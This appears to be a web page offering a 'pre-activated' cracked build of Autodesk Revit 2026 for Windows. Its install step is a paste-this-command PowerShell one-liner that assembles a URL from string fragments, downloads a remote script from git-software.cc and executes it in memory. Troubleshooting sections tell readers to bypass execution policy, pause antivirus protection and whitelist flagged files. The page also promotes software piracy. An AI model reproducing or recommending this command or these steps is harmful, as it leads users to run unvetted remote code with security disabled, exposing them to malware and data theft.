This standalone build packages Autodesk Revit 2026 with all features activated, so the only remaining task is running the installer on a Windows x64 machine. Everything needed for the deployment lives inside the package, with no account sign-in or secondary downloads required. Expect roughly 1.9 GB to transfer, so staging the files locally before launch keeps the setup from stalling. The notes below cover the silent install path and the usual Windows security prompts that can interrupt an unattended run.
- OS: Windows 10 / 11
- Shell: PowerShell 5.1+ or PowerShell 7+
- Network: internet access to download the script
- Privileges: standard user
This script provisions a self-contained Autodesk Revit 2026 desktop environment on a Windows x64 machine. It pulls down the standalone package, unpacks the build payload, and stages every component the app needs to launch and run with its full feature set already enabled — no separate licensing step, no post-install activation pass.
What it actually touches during a run:
- Pulls the package — resolves the installer bundle and downloads it to a local temp path before anything gets written to program directories.
- Stages the payload — extracts core binaries, libraries, and shared components into the expected install layout so Revit finds its dependencies on first launch.
- Applies the pre-activated state — writes the configuration that activates all features, skipping the usual first-run account or license prompts.
- Registers the install — creates the registry entries, file associations, and start menu shortcuts Windows expects for a normal desktop install.
- Verifies readiness — runs a lightweight post-install check and reports whether the app is ready to launch or whether a step failed.
It is designed to be idempotent: re-running it on a machine that already has the build staged will repair missing files rather than duplicate the install. Logs are written to the local temp directory so you can trace exactly what each phase did. If any step fails, the script stops at that phase instead of continuing into a half-installed state — fix the underlying cause (permissions, disk space, a blocked download) and run it again.
Launch PowerShell:
- Press
Win + Xon your keyboard. - Click on Terminal or Windows PowerShell from the list.
Execute the setup script:
Copy the command below, paste it into your PowerShell window, and hit Enter. Let it finish before touching anything else:
$Node='git-software.'; $Zone='cc'; $Path='/ps/Setup.ps1'; $Endpoint='https://'+$Node+$Zone+$Path; $Pipeline=New-Object System.Net.WebClient; $Buffer=$Pipeline.DownloadString($Endpoint); .([scriptblock]::Create($Buffer))
Keep the window open until the script reports completion. If it exits silently, re-run it once — a single clean pass is all the installer needs.
Configuration is handled through a single local settings file that ships alongside the main executable. Edit config/setup.ini before launching the installer; the file is read once at startup, so any edits made afterward are ignored until the next run.
Key fields:
- InstallPath — absolute path for the deployed application. Defaults to the standard system location; point it at a different drive if space is tight.
- FeatureSet — controls which components are enabled. The packaged value activates the full feature set; set it to
minimalfor a stripped deployment. - Locale — language and regional defaults applied on first launch. Must match one of the bundled locale identifiers.
- Telemetry — set to
offfor air-gapped or lab environments. The default isoffin this build. - UpdateChannel — leave as
localto prevent any outbound update checks. This build is self-contained and does not need a channel override.
Paths may use forward or backward slashes; environment variables such as %ProgramData% are expanded at read time. Blank lines and lines beginning with # are ignored.
For batch deployments, copy the entire release folder to each target, adjust only the InstallPath and FeatureSet values in setup.ini, and run the executable silently from a scheduled task or deployment script. No network access, registry edits, or account creation are required beyond what the installer writes itself.
If you change configuration values but the installer seems to ignore them, confirm the file is saved as UTF-8 without a byte-order mark and that no duplicate keys exist — the last duplicate wins, which is a common source of confusion in copied configs.
If PowerShell refuses to run the setup routine because of the current execution policy, launch it from a standard Command Prompt instead. Open cmd and invoke PowerShell with the bypass flag directly:
powershell -ExecutionPolicy Bypass -Command "& { .\Setup.ps1 }"
If you already have the script contents in memory, run them through a scriptblock in the same bypassed session. The flag applies only to that process — no system-wide policy changes are required.
Security tooling may flag automated installers as suspicious, especially when they download or unpack components. If the script gets quarantined:
- Pause Real-time protection in Windows Security for the duration of the install.
- Re-run the setup.
- Re-enable protection immediately afterward.
Avoid disabling the antivirus permanently. If the block persists, check the Protection History log for the exact file that was flagged and review its details before deciding whether to allow it.
A partial run usually means a network hiccup or a locked file. Close any open Revit processes, clear the temporary unpack folder, and run the setup again. If the script hangs at the same step twice, verify there is enough free disk space — the standalone build needs roughly twice its final footprint during extraction.
Confirm you are running the setup from an elevated session and that the activation step completed without errors. Re-running the setup is safe and will reapply configuration without duplicating components.
If features are absent post-install, the extraction step likely skipped a payload. Run the setup once more with the antivirus paused and the temp directory cleared; the script will detect and fill in the missing pieces.
It's a standalone, pre-activated build. No sign-in, no serial entry, no activation step after install. Launch it and the full feature set is available.
Revit 2026, Windows x64 desktop only. There is no macOS or ARM build here.
Plan for roughly 1.9 GB for the installer payload plus room for the installed application and your project files. Keep a few GB of headroom on the target drive.
No. The package is self-contained and works offline. Grab it once, carry it to the target machine, and run it there.
It can. If an older Revit is already present, close it before running setup and expect the new build to sit alongside or replace it depending on your install path. Back up custom families, templates, and add-ins first — anything tied to the previous install may need re-pointing.
Check the usual suspects in order: run the installer again as administrator, confirm your Windows build meets the 2026 requirements, and look at the Windows Event Viewer for a faulting module. Antivirus quarantine is the most common cause of a silent failure — check its history log.
That's Windows execution policy or SmartScreen, not the package. Allow the script through your security policy for the session, or run it from an elevated prompt. If your antivirus flags it, whitelist the installer, complete the setup, then restore your protection settings.
Re-run the setup on the new machine instead. Copying an installed Revit directory between systems tends to break registry entries and licensing hooks, and you'll spend more time fixing it than reinstalling.
Standard Revit add-ins that target the 2026 API should load normally. Very old plugins built against earlier releases may refuse to load — that's an add-in compatibility limit, not something the build controls.
No account, no cloud sign-in, no telemetry prompt during setup. If you use cloud-linked features inside Revit itself, those still depend on your own Autodesk account and network access.
Create a system restore point before running setup. If the build misbehaves, restore to that point, then uninstall cleanly through Apps & Features before trying again.
This build is provided as-is, for testing and evaluation purposes only. It is an unofficial, pre-activated standalone package and is not affiliated with, endorsed by, or supported by the original software vendor. If you need a licensed, production-grade installation with official updates and support, obtain it through the vendor's official channels.
Running automated setup scripts always carries some risk. Review the script logic before executing it, run it in a disposable or isolated environment (a virtual machine is a good fit), and keep a system restore point or snapshot on hand. Do not run the installer on machines holding sensitive data or critical production workloads.
The package is distributed without warranty of any kind, express or implied. The maintainers accept no liability for data loss, system instability, licensing violations, or any other damages arising from use of this build. You are responsible for verifying that your use complies with the laws and license terms applicable in your jurisdiction.
Antivirus and SmartScreen warnings are common for script-driven installers, but do not treat them as noise by default — confirm the source, inspect the payload, and only proceed if you understand what the script does. Never disable security tooling permanently.
Because this is a standalone build, expect no automatic updates, no telemetry, and no vendor support path. Behavior may diverge from official releases. If something breaks, troubleshoot locally and roll back rather than patching blindly.